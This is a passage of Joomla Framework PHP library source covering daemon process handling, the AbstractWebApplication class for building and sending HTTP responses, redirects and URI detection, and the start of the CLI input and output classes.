			if (!$this->pcntlSignal(\constant($signal), array($this,
'signal')))
			{
				$this->getLogger()->emergency(sprintf('Unable to reroute
signal handler: %s', $signal));

				return false;
			}
		}

		return true;
	}

	/**
	 * Method to shut down the daemon and optionally restart it.
	 *
	 * @param   boolean  $restart  True to restart the daemon on exit.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function shutdown($restart = false)
	{
		// If we are already exiting, chill.
		if ($this->exiting)
		{
			return;
		}

		// If not, now we are.
		$this->exiting = true;

		// If we aren't already daemonized then just kill the application.
		if (!$this->running && !$this->isActive())
		{
			$this->getLogger()->info('Process was not daemonized yet,
just halting current process');

			$this->close();
		}

		// Only read the pid for the parent file.
		if ($this->parentId == $this->processId)
		{
			// Read the contents of the process id file as an integer.
			$fp  = fopen($this->get('application_pid_file'),
'r');
			$pid = fread($fp,
filesize($this->get('application_pid_file')));
			$pid = (int) $pid;
			fclose($fp);

			// Remove the process id file.
			@ unlink($this->get('application_pid_file'));

			// If we are supposed to restart the daemon we need to execute the same
command.
			if ($restart)
			{
				$this->close(exec(implode(' ', $GLOBALS['argv'])
. ' > /dev/null &'));
			}
			else
			{
				// If we are not supposed to restart the daemon let's just kill
-9.
				passthru('kill -9 ' . $pid);
				$this->close();
			}
		}
	}

	/**
	 * Method to write the process id file out to disk.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	protected function writeProcessIdFile()
	{
		// Verify the process id is valid.
		if ($this->processId < 1)
		{
			$this->getLogger()->emergency('The process id is
invalid.');

			return false;
		}

		// Get the application process id file path.
		$file = $this->get('application_pid_file');

		if (empty($file))
		{
			$this->getLogger()->error('The process id file path is
empty.');

			return false;
		}

		// Make sure that the folder where we are writing the process id file
exists.
		$folder = \dirname($file);

		if (!is_dir($folder) && !@ mkdir($folder,
$this->get('folder_permission', 0755)))
		{
			$this->getLogger()->error('Unable to create directory: '
. $folder);

			return false;
		}

		// Write the process id file out to disk.
		if (!file_put_contents($file, $this->processId))
		{
			$this->getLogger()->error('Unable to write proccess id file:
' . $file);

			return false;
		}

		// Make sure the permissions for the proccess id file are accurate.
		if (!chmod($file, $this->get('file_permission', 0644)))
		{
			$this->getLogger()->error('Unable to adjust permissions for
the proccess id file: ' . $file);

			return false;
		}

		return true;
	}

	/**
	 * Method to handle post-fork triggering of the onFork event.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function postFork()
	{
		// @event onFork
	}

	/**
	 * Method to return the exit code of a terminated child process.
	 *
	 * @param   integer  $status  The status parameter is the status parameter
supplied to a successful call to pcntl_waitpid().
	 *
	 * @return  integer  The child process exit code.
	 *
	 * @codeCoverageIgnore
	 * @see     pcntl_wexitstatus()
	 * @since   1.0
	 */
	protected function pcntlChildExitStatus($status)
	{
		return pcntl_wexitstatus($status);
	}

	/**
	 * Method to return the exit code of a terminated child process.
	 *
	 * @return  integer  On success, the PID of the child process is returned
in the parent's thread
	 *                   of execution, and a 0 is returned in the child's
thread of execution. On
	 *                   failure, a -1 will be returned in the parent's
context, no child process
	 *                   will be created, and a PHP error is raised.
	 *
	 * @codeCoverageIgnore
	 * @see     pcntl_fork()
	 * @since   1.0
	 */
	protected function pcntlFork()
	{
		return pcntl_fork();
	}

	/**
	 * Method to install a signal handler.
	 *
	 * @param   integer   $signal   The signal number.
	 * @param   callable  $handler  The signal handler which may be the name
of a user created function,
	 *                              or method, or either of the two global
constants SIG_IGN or SIG_DFL.
	 * @param   boolean   $restart  Specifies whether system call restarting
should be used when this
	 *                              signal arrives.
	 *
	 * @return  boolean  True on success.
	 *
	 * @codeCoverageIgnore
	 * @see     pcntl_signal()
	 * @since   1.0
	 */
	protected function pcntlSignal($signal, $handler, $restart = true)
	{
		return pcntl_signal($signal, $handler, $restart);
	}

	/**
	 * Method to wait on or return the status of a forked child.
	 *
	 * @param   integer  $status   Status information.
	 * @param   integer  $options  If wait3 is available on your system
(mostly BSD-style systems),
	 *                             you can provide the optional options
parameter.
	 *
	 * @return  integer  The process ID of the child which exited, -1 on error
or zero if WNOHANG
	 *                   was provided as an option (on wait3-available
systems) and no child was available.
	 *
	 * @codeCoverageIgnore
	 * @see     pcntl_wait()
	 * @since   1.0
	 */
	protected function pcntlWait(&$status, $options = 0)
	{
		return pcntl_wait($status, $options);
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application;

use Joomla\Input\Input;
use Joomla\Registry\Registry;
use Joomla\Session\Session;
use Joomla\Uri\Uri;

/**
 * Base class for a Joomla! Web application.
 *
 * @since  1.0
 */
abstract class AbstractWebApplication extends AbstractApplication
{
	/**
	 * Character encoding string.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $charSet = 'utf-8';

	/**
	 * Response mime type.
	 *
	 * @var    string
	 * @since  1.0
	 */
	public $mimeType = 'text/html';

	/**
	 * HTTP protocol version.
	 *
	 * @var    string
	 * @since  1.9.0
	 */
	public $httpVersion = '1.1';

	/**
	 * The body modified date for response headers.
	 *
	 * @var    \DateTime
	 * @since  1.0
	 */
	public $modifiedDate;

	/**
	 * The application client object.
	 *
	 * @var    Web\WebClient
	 * @since  1.0
	 */
	public $client;

	/**
	 * The application response object.
	 *
	 * @var    object
	 * @since  1.0
	 */
	protected $response;

	/**
	 * The application session object.
	 *
	 * @var    Session
	 * @since  1.0
	 */
	private $session;

	/**
	 * A map of integer HTTP response codes to the full HTTP Status for the
headers.
	 *
	 * @var    array
	 * @since  1.6.0
	 * @link  
https://www.iana.org/assignments/http-status-codes/http-status-codes.xhtml
	 */
	private $responseMap = array(
		100 => 'HTTP/{version} 100 Continue',
		101 => 'HTTP/{version} 101 Switching Protocols',
		102 => 'HTTP/{version} 102 Processing',
		200 => 'HTTP/{version} 200 OK',
		201 => 'HTTP/{version} 201 Created',
		202 => 'HTTP/{version} 202 Accepted',
		203 => 'HTTP/{version} 203 Non-Authoritative Information',
		204 => 'HTTP/{version} 204 No Content',
		205 => 'HTTP/{version} 205 Reset Content',
		206 => 'HTTP/{version} 206 Partial Content',
		207 => 'HTTP/{version} 207 Multi-Status',
		208 => 'HTTP/{version} 208 Already Reported',
		226 => 'HTTP/{version} 226 IM Used',
		300 => 'HTTP/{version} 300 Multiple Choices',
		301 => 'HTTP/{version} 301 Moved Permanently',
		302 => 'HTTP/{version} 302 Found',
		303 => 'HTTP/{version} 303 See other',
		304 => 'HTTP/{version} 304 Not Modified',
		305 => 'HTTP/{version} 305 Use Proxy',
		306 => 'HTTP/{version} 306 (Unused)',
		307 => 'HTTP/{version} 307 Temporary Redirect',
		308 => 'HTTP/{version} 308 Permanent Redirect',
		400 => 'HTTP/{version} 400 Bad Request',
		401 => 'HTTP/{version} 401 Unauthorized',
		402 => 'HTTP/{version} 402 Payment Required',
		403 => 'HTTP/{version} 403 Forbidden',
		404 => 'HTTP/{version} 404 Not Found',
		405 => 'HTTP/{version} 405 Method Not Allowed',
		406 => 'HTTP/{version} 406 Not Acceptable',
		407 => 'HTTP/{version} 407 Proxy Authentication Required',
		408 => 'HTTP/{version} 408 Request Timeout',
		409 => 'HTTP/{version} 409 Conflict',
		410 => 'HTTP/{version} 410 Gone',
		411 => 'HTTP/{version} 411 Length Required',
		412 => 'HTTP/{version} 412 Precondition Failed',
		413 => 'HTTP/{version} 413 Payload Too Large',
		414 => 'HTTP/{version} 414 URI Too Long',
		415 => 'HTTP/{version} 415 Unsupported Media Type',
		416 => 'HTTP/{version} 416 Range Not Satisfiable',
		417 => 'HTTP/{version} 417 Expectation Failed',
		418 => 'HTTP/{version} 418 I\'m a teapot',
		421 => 'HTTP/{version} 421 Misdirected Request',
		422 => 'HTTP/{version} 422 Unprocessable Entity',
		423 => 'HTTP/{version} 423 Locked',
		424 => 'HTTP/{version} 424 Failed Dependency',
		426 => 'HTTP/{version} 426 Upgrade Required',
		428 => 'HTTP/{version} 428 Precondition Required',
		429 => 'HTTP/{version} 429 Too Many Requests',
		431 => 'HTTP/{version} 431 Request Header Fields Too Large',
		451 => 'HTTP/{version} 451 Unavailable For Legal Reasons',
		500 => 'HTTP/{version} 500 Internal Server Error',
		501 => 'HTTP/{version} 501 Not Implemented',
		502 => 'HTTP/{version} 502 Bad Gateway',
		503 => 'HTTP/{version} 503 Service Unavailable',
		504 => 'HTTP/{version} 504 Gateway Timeout',
		505 => 'HTTP/{version} 505 HTTP Version Not Supported',
		506 => 'HTTP/{version} 506 Variant Also Negotiates',
		507 => 'HTTP/{version} 507 Insufficient Storage',
		508 => 'HTTP/{version} 508 Loop Detected',
		510 => 'HTTP/{version} 510 Not Extended',
		511 => 'HTTP/{version} 511 Network Authentication Required',
	);

	/**
	 * Class constructor.
	 *
	 * @param   Input          $input   An optional argument to provide
dependency injection for the application's input object.  If the
argument
	 *                                  is an Input object that object will
become the application's input object, otherwise a default input
	 *                                  object is created.
	 * @param   Registry       $config  An optional argument to provide
dependency injection for the application's config object.  If the
argument
	 *                                  is a Registry object that object will
become the application's config object, otherwise a default config
	 *                                  object is created.
	 * @param   Web\WebClient  $client  An optional argument to provide
dependency injection for the application's client object.  If the
argument
	 *                                  is a Web\WebClient object that object
will become the application's client object, otherwise a default
client
	 *                                  object is created.
	 *
	 * @since   1.0
	 */
	public function __construct(Input $input = null, Registry $config = null,
Web\WebClient $client = null)
	{
		$this->client = $client instanceof Web\WebClient ? $client : new
Web\WebClient;

		// Setup the response object.
		$this->response           = new \stdClass;
		$this->response->cachable = false;
		$this->response->headers  = array();
		$this->response->body     = array();

		// Call the constructor as late as possible (it runs `initialise`).
		parent::__construct($input, $config);

		// Set the system URIs.
		$this->loadSystemUris();
	}

	/**
	 * Execute the application.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function execute()
	{
		// @event onBeforeExecute

		// Perform application routines.
		$this->doExecute();

		// @event onAfterExecute

		// If gzip compression is enabled in configuration and the server is
compliant, compress the output.
		if ($this->get('gzip') &&
!ini_get('zlib.output_compression') &&
(ini_get('output_handler') != 'ob_gzhandler'))
		{
			$this->compress();
		}

		// @event onBeforeRespond

		// Send the application response.
		$this->respond();

		// @event onAfterRespond
	}

	/**
	 * Checks the accept encoding of the browser and compresses the data
before
	 * sending it to the client if possible.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function compress()
	{
		// Supported compression encodings.
		$supported = array(
			'x-gzip'  => 'gz',
			'gzip'    => 'gz',
			'deflate' => 'deflate',
		);

		// Get the supported encoding.
		$encodings = array_intersect($this->client->encodings,
array_keys($supported));

		// If no supported encoding is detected do nothing and return.
		if (empty($encodings))
		{
			return;
		}

		// Verify that headers have not yet been sent, and that our connection is
still alive.
		if ($this->checkHeadersSent() || !$this->checkConnectionAlive())
		{
			return;
		}

		// Iterate through the encodings and attempt to compress the data using
any found supported encodings.
		foreach ($encodings as $encoding)
		{
			if (($supported[$encoding] == 'gz') || ($supported[$encoding]
== 'deflate'))
			{
				// Verify that the server supports gzip compression before we attempt
to gzip encode the data.
				// @codeCoverageIgnoreStart
				if (!\extension_loaded('zlib') ||
ini_get('zlib.output_compression'))
				{
					continue;
				}

				// @codeCoverageIgnoreEnd

				// Attempt to gzip encode the data with an optimal level 4.
				$data   = $this->getBody();
				$gzdata = gzencode($data, 4, ($supported[$encoding] == 'gz')
? FORCE_GZIP : FORCE_DEFLATE);

				// If there was a problem encoding the data just try the next encoding
scheme.
				// @codeCoverageIgnoreStart
				if ($gzdata === false)
				{
					continue;
				}

				// @codeCoverageIgnoreEnd

				// Set the encoding headers.
				$this->setHeader('Content-Encoding', $encoding);
				$this->setHeader('Vary', 'Accept-Encoding');
				$this->setHeader('X-Content-Encoded-By',
'Joomla');

				// Replace the output with the encoded data.
				$this->setBody($gzdata);

				// Compression complete, let's break out of the loop.
				break;
			}
		}
	}

	/**
	 * Method to send the application response to the client.  All headers
will be sent prior to the main
	 * application output data.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function respond()
	{
		// Send the content-type header.
		$this->setHeader('Content-Type', $this->mimeType .
'; charset=' . $this->charSet);

		// If the response is set to uncachable, we need to set some appropriate
headers so browsers don't cache the response.
		if (!$this->allowCache())
		{
			// Expires in the past.
			$this->setHeader('Expires', 'Wed, 17 Aug 2005 00:00:00
GMT', true);

			// Always modified.
			$this->setHeader('Last-Modified', gmdate('D, d M Y
H:i:s') . ' GMT', true);
			$this->setHeader('Cache-Control', 'no-store, no-cache,
must-revalidate, post-check=0, pre-check=0', false);

			// HTTP 1.0
			$this->setHeader('Pragma', 'no-cache');
		}
		else
		{
			// Expires.
			$this->setHeader('Expires', gmdate('D, d M Y
H:i:s', time() + 900) . ' GMT');

			// Last modified.
			if ($this->modifiedDate instanceof \DateTime)
			{
				$this->modifiedDate->setTimezone(new
\DateTimeZone('UTC'));
				$this->setHeader('Last-Modified',
$this->modifiedDate->format('D, d M Y H:i:s') . '
GMT');
			}
		}

		$this->sendHeaders();

		echo $this->getBody();
	}

	/**
	 * Redirect to another URL.
	 *
	 * If the headers have not been sent the redirect will be accomplished
using a "301 Moved Permanently"
	 * or "303 See Other" code in the header pointing to the new
location. If the headers have already been
	 * sent this will be accomplished using a JavaScript statement.
	 *
	 * @param   string   $url     The URL to redirect to. Can only be
http/https URL
	 * @param   integer  $status  The HTTP status code to be provided. 303 is
assumed by default.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @throws  \InvalidArgumentException
	 */
	public function redirect($url, $status = 303)
	{
		// Check for relative internal links.
		if (preg_match('#^index\.php#', $url))
		{
			$url = $this->get('uri.base.full') . $url;
		}

		// Perform a basic sanity check to make sure we don't have any CRLF
garbage.
		$url = preg_split("/[\r\n]/", $url);
		$url = $url[0];

		/*
		 * Here we need to check and see if the URL is relative or absolute. 
Essentially, do we need to
		 * prepend the URL with our base URL for a proper redirect.  The
rudimentary way we are looking
		 * at this is to simply check whether or not the URL string has a valid
scheme or not.
		 */
		if (!preg_match('#^[a-z]+\://#i', $url))
		{
			// Get a Uri instance for the requested URI.
			$uri = new Uri($this->get('uri.request'));

			// Get a base URL to prepend from the requested URI.
			$prefix = $uri->toString(array('scheme', 'user',
'pass', 'host', 'port'));

			// We just need the prefix since we have a path relative to the root.
			if ($url[0] == '/')
			{
				$url = $prefix . $url;
			}
			else
			{
				// It's relative to where we are now, so lets add that.
				$parts = explode('/',
$uri->toString(array('path')));
				array_pop($parts);
				$path = implode('/', $parts) . '/';
				$url  = $prefix . $path . $url;
			}
		}

		// If the headers have already been sent we need to send the redirect
statement via JavaScript.
		if ($this->checkHeadersSent())
		{
			echo '<script>document.location.href=' .
json_encode($url) . ";</script>\n";
		}
		else
		{
			// We have to use a JavaScript redirect here because MSIE doesn't
play nice with utf-8 URLs.
			if (($this->client->engine == Web\WebClient::TRIDENT) &&
!static::isAscii($url))
			{
				$html = '<html><head>';
				$html .= '<meta http-equiv="content-type"
content="text/html; charset=' . $this->charSet . '"
/>';
				$html .= '<script>document.location.href=' .
json_encode($url) . ';</script>';
				$html .=
'</head><body></body></html>';

				echo $html;
			}
			else
			{
				// Check if we have a boolean for the status variable for compatability
with v1 of the framework
				// @deprecated 3.0
				if (\is_bool($status))
				{
					$status = $status ? 301 : 303;
				}

				if (!\is_int($status) && !$this->isRedirectState($status))
				{
					throw new \InvalidArgumentException('You have not supplied a
valid HTTP status code');
				}

				// All other cases use the more efficient HTTP header for redirection.
				$this->setHeader('Status', $status, true);
				$this->setHeader('Location', $url, true);
			}
		}

		// Set appropriate headers
		$this->respond();

		// Close the application after the redirect.
		$this->close();
	}

	/**
	 * Set/get cachable state for the response.  If $allow is set, sets the
cachable state of the
	 * response.  Always returns the current state.
	 *
	 * @param   boolean  $allow  True to allow browser caching.
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 */
	public function allowCache($allow = null)
	{
		if ($allow !== null)
		{
			$this->response->cachable = (bool) $allow;
		}

		return $this->response->cachable;
	}

	/**
	 * Method to set a response header.  If the replace flag is set then all
headers
	 * with the given name will be replaced by the new one.  The headers are
stored
	 * in an internal array to be sent when the site is sent to the browser.
	 *
	 * @param   string   $name     The name of the header to set.
	 * @param   string   $value    The value of the header to set.
	 * @param   boolean  $replace  True to replace any headers with the same
name.
	 *
	 * @return  AbstractWebApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function setHeader($name, $value, $replace = false)
	{
		// Sanitize the input values.
		$name  = (string) $name;
		$value = (string) $value;

		// If the replace flag is set, unset all known headers with the given
name.
		if ($replace)
		{
			foreach ($this->response->headers as $key => $header)
			{
				if ($name == $header['name'])
				{
					unset($this->response->headers[$key]);
				}
			}

			// Clean up the array as unsetting nested arrays leaves some junk.
			$this->response->headers =
array_values($this->response->headers);
		}

		// Add the header to the internal array.
		$this->response->headers[] = array('name' => $name,
'value' => $value);

		return $this;
	}

	/**
	 * Method to get the array of response headers to be sent when the
response is sent
	 * to the client.
	 *
	 * @return  array
	 *
	 * @since   1.0
	 */
	public function getHeaders()
	{
		return $this->response->headers;
	}

	/**
	 * Method to clear any set response headers.
	 *
	 * @return  AbstractWebApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function clearHeaders()
	{
		$this->response->headers = array();

		return $this;
	}

	/**
	 * Send the response headers.
	 *
	 * @return  AbstractWebApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function sendHeaders()
	{
		if (!$this->checkHeadersSent())
		{
			foreach ($this->response->headers as $header)
			{
				if (strtolower($header['name']) == 'status')
				{
					// 'status' headers indicate an HTTP status, and need to be
handled slightly differently
					$status = $this->getHttpStatusValue($header['value']);

					$this->header($status, true, (int) $header['value']);
				}
				else
				{
					$this->header($header['name'] . ': ' .
$header['value']);
				}
			}
		}

		return $this;
	}

	/**
	 * Set body content.  If body content already defined, this will replace
it.
	 *
	 * @param   string  $content  The content to set as the response body.
	 *
	 * @return  AbstractWebApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function setBody($content)
	{
		$this->response->body = array((string) $content);

		return $this;
	}

	/**
	 * Prepend content to the body content
	 *
	 * @param   string  $content  The content to prepend to the response body.
	 *
	 * @return  AbstractWebApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function prependBody($content)
	{
		array_unshift($this->response->body, (string) $content);

		return $this;
	}

	/**
	 * Append content to the body content
	 *
	 * @param   string  $content  The content to append to the response body.
	 *
	 * @return  AbstractWebApplication  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function appendBody($content)
	{
		$this->response->body[] = (string) $content;

		return $this;
	}

	/**
	 * Return the body content
	 *
	 * @param   boolean  $asArray  True to return the body as an array of
strings.
	 *
	 * @return  mixed  The response body either as an array or concatenated
string.
	 *
	 * @since   1.0
	 */
	public function getBody($asArray = false)
	{
		return $asArray ? $this->response->body : implode((array)
$this->response->body);
	}

	/**
	 * Method to get the application session object.
	 *
	 * @return  Session  The session object
	 *
	 * @since   1.0
	 */
	public function getSession()
	{
		if ($this->session === null)
		{
			throw new \RuntimeException('A \Joomla\Session\Session object has
not been set.');
		}

		return $this->session;
	}

	/**
	 * Check if a given value can be successfully mapped to a valid http
status value
	 *
	 * @param   string|int  $value  The given status as int or string
	 *
	 * @return  string
	 *
	 * @since   1.8.0
	 */
	protected function getHttpStatusValue($value)
	{
		$code = (int) $value;

		if (array_key_exists($code, $this->responseMap))
		{
			$value = $this->responseMap[$code];
		}
		else
		{
			$value = 'HTTP/{version} ' . $code;
		}

		return str_replace('{version}', $this->httpVersion, $value);
	}

	/**
	 * Check if the value is a valid HTTP status code
	 *
	 * @param   integer  $code  The potential status code
	 *
	 * @return  boolean
	 *
	 * @since   1.8.1
	 */
	public function isValidHttpStatus($code)
	{
		return array_key_exists($code, $this->responseMap);
	}

	/**
	 * Method to check the current client connection status to ensure that it
is alive.  We are
	 * wrapping this to isolate the connection_status() function from our code
base for testing reasons.
	 *
	 * @return  boolean  True if the connection is valid and normal.
	 *
	 * @codeCoverageIgnore
	 * @see     connection_status()
	 * @since   1.0
	 */
	protected function checkConnectionAlive()
	{
		return connection_status() === CONNECTION_NORMAL;
	}

	/**
	 * Method to check to see if headers have already been sent.  We are
wrapping this to isolate the
	 * headers_sent() function from our code base for testing reasons.
	 *
	 * @return  boolean  True if the headers have already been sent.
	 *
	 * @codeCoverageIgnore
	 * @see     headers_sent()
	 * @since   1.0
	 */
	protected function checkHeadersSent()
	{
		return headers_sent();
	}

	/**
	 * Method to detect the requested URI from server environment variables.
	 *
	 * @return  string  The requested URI
	 *
	 * @since   1.0
	 */
	protected function detectRequestUri()
	{
		// First we need to detect the URI scheme.
		if ($this->isSslConnection())
		{
			$scheme = 'https://';
		}
		else
		{
			$scheme = 'http://';
		}

		/*
		 * There are some differences in the way that Apache and IIS populate
server environment variables.  To
		 * properly detect the requested URI we need to adjust our algorithm
based on whether or not we are getting
		 * information from Apache or IIS.
		 */

		$phpSelf    =
$this->input->server->getString('PHP_SELF',
'');
		$requestUri =
$this->input->server->getString('REQUEST_URI',
'');

		// If PHP_SELF and REQUEST_URI are both populated then we will assume
"Apache Mode".
		if (!empty($phpSelf) && !empty($requestUri))
		{
			// The URI is built from the HTTP_HOST and REQUEST_URI environment
variables in an Apache environment.
			$uri = $scheme .
$this->input->server->getString('HTTP_HOST') .
$requestUri;
		}
		else
		{
			// If not in "Apache Mode" we will assume that we are in an
IIS environment and proceed.
			// IIS uses the SCRIPT_NAME variable instead of a REQUEST_URI
variable... thanks, MS
			$uri       = $scheme .
$this->input->server->getString('HTTP_HOST') .
$this->input->server->getString('SCRIPT_NAME');
			$queryHost =
$this->input->server->getString('QUERY_STRING',
'');

			// If the QUERY_STRING variable exists append it to the URI string.
			if (!empty($queryHost))
			{
				$uri .= '?' . $queryHost;
			}
		}

		return trim($uri);
	}

	/**
	 * Method to send a header to the client.  We are wrapping this to isolate
the header() function
	 * from our code base for testing reasons.
	 *
	 * @param   string   $string   The header string.
	 * @param   boolean  $replace  The optional replace parameter indicates
whether the header should
	 *                             replace a previous similar header, or add a
second header of the same type.
	 * @param   integer  $code     Forces the HTTP response code to the
specified value. Note that
	 *                             this parameter only has an effect if the
string is not empty.
	 *
	 * @return  void
	 *
	 * @codeCoverageIgnore
	 * @see     header()
	 * @since   1.0
	 */
	protected function header($string, $replace = true, $code = null)
	{
		header(str_replace(\chr(0), '', $string), $replace, $code);
	}

	/**
	 * Checks if a state is a redirect state
	 *
	 * @param   integer  $state  The HTTP status code.
	 *
	 * @return  boolean
	 *
	 * @since   1.8.0
	 */
	protected function isRedirectState($state)
	{
		$state = (int) $state;

		return $state > 299 && $state < 400 &&
array_key_exists($state, $this->responseMap);
	}

	/**
	 * Determine if we are using a secure (SSL) connection.
	 *
	 * @return  boolean  True if using SSL, false if not.
	 *
	 * @since   1.0
	 */
	public function isSslConnection()
	{
		$serverSSLVar =
$this->input->server->getString('HTTPS', '');

		if (!empty($serverSSLVar) && strtolower($serverSSLVar) !==
'off')
		{
			return true;
		}

		$serverForwarderProtoVar =
$this->input->server->getString('HTTP_X_FORWARDED_PROTO',
'');

		return !empty($serverForwarderProtoVar) &&
strtolower($serverForwarderProtoVar) === 'https';
	}

	/**
	 * Sets the session for the application to use, if required.
	 *
	 * @param   Session  $session  A session object.
	 *
	 * @return  AbstractWebApplication  Returns itself to support chaining.
	 *
	 * @since   1.0
	 */
	public function setSession(Session $session)
	{
		$this->session = $session;

		return $this;
	}

	/**
	 * Method to load the system URI strings for the application.
	 *
	 * @param   string  $requestUri  An optional request URI to use instead of
detecting one from the
	 *                               server environment variables.
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	protected function loadSystemUris($requestUri = null)
	{
		// Set the request URI.
		// @codeCoverageIgnoreStart
		if (!empty($requestUri))
		{
			$this->set('uri.request', $requestUri);
		}
		else
		{
			$this->set('uri.request', $this->detectRequestUri());
		}

		// @codeCoverageIgnoreEnd

		// Check to see if an explicit base URI has been set.
		$siteUri = trim($this->get('site_uri'));

		if ($siteUri != '')
		{
			$uri  = new Uri($siteUri);
			$path = $uri->toString(array('path'));
		}
		else
		{
			// No explicit base URI was set so we need to detect it. Start with the
requested URI.
			$uri = new Uri($this->get('uri.request'));

			$requestUri =
$this->input->server->getString('REQUEST_URI',
'');

			// If we are working from a CGI SAPI with the
'cgi.fix_pathinfo' directive disabled we use PHP_SELF.
			if (strpos(PHP_SAPI, 'cgi') !== false &&
!ini_get('cgi.fix_pathinfo') && !empty($requestUri))
			{
				// We aren't expecting PATH_INFO within PHP_SELF so this should
work.
				$path =
\dirname($this->input->server->getString('PHP_SELF',
''));
			}
			else
			{
				// Pretty much everything else should be handled with SCRIPT_NAME.
				$path =
\dirname($this->input->server->getString('SCRIPT_NAME',
''));
			}
		}

		// Get the host from the URI.
		$host = $uri->toString(array('scheme', 'user',
'pass', 'host', 'port'));

		// Check if the path includes "index.php".
		if (strpos($path, 'index.php') !== false)
		{
			// Remove the index.php portion of the path.
			$path = substr_replace($path, '', strpos($path,
'index.php'), 9);
		}

		$path = rtrim($path, '/\\');

		// Set the base URI both as just a path and as the full URI.
		$this->set('uri.base.full', $host . $path . '/');
		$this->set('uri.base.host', $host);
		$this->set('uri.base.path', $path . '/');

		// Set the extended (non-base) part of the request URI as the route.
		if (stripos($this->get('uri.request'),
$this->get('uri.base.full')) === 0)
		{
			$this->set('uri.route',
substr_replace($this->get('uri.request'), '', 0,
\strlen($this->get('uri.base.full'))));
		}

		// Get an explicitly set media URI is present.
		$mediaURI = trim($this->get('media_uri'));

		if ($mediaURI)
		{
			if (strpos($mediaURI, '://') !== false)
			{
				$this->set('uri.media.full', $mediaURI);
				$this->set('uri.media.path', $mediaURI);
			}
			else
			{
				// Normalise slashes.
				$mediaURI = trim($mediaURI, '/\\');
				$mediaURI = !empty($mediaURI) ? '/' . $mediaURI .
'/' : '/';
				$this->set('uri.media.full',
$this->get('uri.base.host') . $mediaURI);
				$this->set('uri.media.path', $mediaURI);
			}
		}
		else
		{
			// No explicit media URI was set, build it dynamically from the base
uri.
			$this->set('uri.media.full',
$this->get('uri.base.full') . 'media/');
			$this->set('uri.media.path',
$this->get('uri.base.path') . 'media/');
		}
	}

	/**
	 * Checks for a form token in the request.
	 *
	 * Use in conjunction with getFormToken.
	 *
	 * @param   string  $method  The request method in which to look for the
token key.
	 *
	 * @return  boolean  True if found and valid, false otherwise.
	 *
	 * @since   1.0
	 */
	public function checkToken($method = 'post')
	{
		$token = $this->getFormToken();

		if (!$this->input->$method->get($token, '',
'alnum'))
		{
			if ($this->getSession()->isNew())
			{
				// Redirect to login screen.
				$this->redirect('index.php');
				$this->close();
			}
			else
			{
				return false;
			}
		}
		else
		{
			return true;
		}
	}

	/**
	 * Method to determine a hash for anti-spoofing variable names
	 *
	 * @param   boolean  $forceNew  If true, force a new token to be created
	 *
	 * @return  string  Hashed var name
	 *
	 * @since   1.0
	 */
	public function getFormToken($forceNew = false)
	{
		// @todo we need the user id somehow here
		$userId  = 0;

		return md5($this->get('secret') . $userId .
$this->getSession()->getToken($forceNew));
	}

	/**
	 * Tests whether a string contains only 7bit ASCII bytes.
	 *
	 * You might use this to conditionally check whether a string
	 * needs handling as UTF-8 or not, potentially offering performance
	 * benefits by using the native PHP equivalent if it's just ASCII
e.g.;
	 *
	 * @param   string  $str  The string to test.
	 *
	 * @return  boolean True if the string is all ASCII
	 *
	 * @since   1.4.0
	 */
	public static function isAscii($str)
	{
		// Search for any bytes which are outside the ASCII range...
		return preg_match('/(?:[^\x00-\x7F])/', $str) !== 1;
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli;

/**
 * Class CliInput
 *
 * @since       1.6.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
class CliInput
{
	/**
	 * Get a value from standard input.
	 *
	 * @return  string  The input string from standard input.
	 *
	 * @codeCoverageIgnore
	 * @since   1.6.0
	 */
	public function in()
	{
		return rtrim(fread(STDIN, 8192), "\n\r");
	}
}
<?php
/**
 * Part of the Joomla Framework Application Package
 *
 * @copyright  Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
 * @license    GNU General Public License version 2 or later; see LICENSE
 */

namespace Joomla\Application\Cli;

use Joomla\Application\Cli\Output\Processor\ProcessorInterface;

/**
 * Class CliOutput
 *
 * @since       1.0
 * @deprecated  2.0  Use the `joomla/console` package instead
 */
abstract class CliOutput
{
	/**
	 * Color processing object
	 *
	 * @var    ProcessorInterface
	 * @since  1.0
	 */
	protected $processor;

	/**
	 * Constructor
	 *
	 * @param   ProcessorInterface  $processor  The output processor.
	 *
	 * @since   1.1.2
	 */
	public function __construct(ProcessorInterface $processor = null)
	{
		$this->setProcessor(($processor instanceof ProcessorInterface) ?
$processor : new Output\Processor\ColorProcessor);
	}

	/**
	 * Set a processor
	 *
	 * @param   ProcessorInterface  $processor  The output processor.
	 *
	 * @return  Stdout  Instance of $this to allow chaining.
	 *
	 * @since   1.0
	 */
	public function setProcessor(ProcessorInterface $processor)
	{
		$this->processor = $processor;

		return $this;
	}

	/**
	 * Get a processor
	 *
	 * @return  ProcessorInterface
	 *
	 * @since   1.0
	 * @throws  \RuntimeException
	 */
	public function getProcessor()
	{
		if ($this->processor)
		{
			return $this->processor;
		}

		throw new \RuntimeException('A ProcessorInterface object has not
been set.');
	}

	/**
	 * Write a string to an output handler.
	 *
	 * @param   string   $text  The text to display.
	 * @param   boolean  $nl    True (default) to append a new line at the end
of the output string.
	 *
